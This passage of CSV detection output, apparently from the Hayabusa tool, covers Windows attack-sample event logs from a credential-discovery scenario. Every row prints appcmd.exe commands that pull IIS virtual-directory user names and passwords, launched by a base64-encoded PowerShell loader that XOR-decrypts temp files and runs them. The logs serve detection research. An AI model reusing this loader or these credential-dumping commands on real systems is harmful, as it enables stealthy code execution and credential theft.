JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.822 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir /text:vdir.name : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.893 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir ""ERROR ( message:Configuration error "" /text:userName : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.973 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir ""ERROR ( message:Configuration error "" /text:password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:19.063 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir /text:userName : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:19.143 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir /text:password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHk